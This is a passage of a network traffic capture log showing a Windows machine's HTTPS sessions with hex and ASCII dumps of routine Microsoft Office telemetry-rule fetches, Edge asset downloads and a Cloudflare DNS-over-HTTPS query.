2024-11-13 17:08:32 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:32 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170832Z-16547b76f7fj5p7mhC1DFWf8w40000000hhg00000000dkz6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:32 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:32 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: ad01162d-901e-0064-5fc3-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170832Z-16547b76f7f76p6chC1DFWctqw0000000hk000000000b4ak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:32 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49898	162.159.61.3	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-13 17:08:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-13 17:08:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 13 Nov 2024 17:08:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e205d48ed872ca9-DFW alt-svc: h3=":443"; ma=86400
2024-11-13 17:08:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 40 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@r^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 370a5c86-201e-000c-6871-3579c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170833Z-1749fc9bdbdlzhmchC1DFWe68s000000013g00000000n91s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 4db10895-001e-0049-15a1-345bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170833Z-r178fb8d7656shmjhC1DFWu5kw000000016g00000000wxr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:33 UTC	538	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: c6a80355-b01e-0070-0e08-2c1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170833Z-16547b76f7fj897nhC1DFWdwq40000000h5g00000000xrgn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49908	13.107.246.45	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:33 UTC	576	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: efca23cb-901e-0062-69eb-322fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T170833Z-16547b76f7f7scqbhC1DFW0m5w0000000ha000000000a9k7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	15808	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-13 17:08:33 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-13 17:08:33 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:33 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2dd32481-401e-005b-4854-359c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170833Z-1749fc9bdbdjznvchC1DFWx4dc000000017g000000007u4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49909	13.107.246.45	443	2788	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:33 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 17:08:33 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:33 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 94bdde0a-901e-0004-24a7-359d85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T170833Z-r178fb8d765ljg7ghC1DFWfk4c000000010000000000tqwg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 17:08:33 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 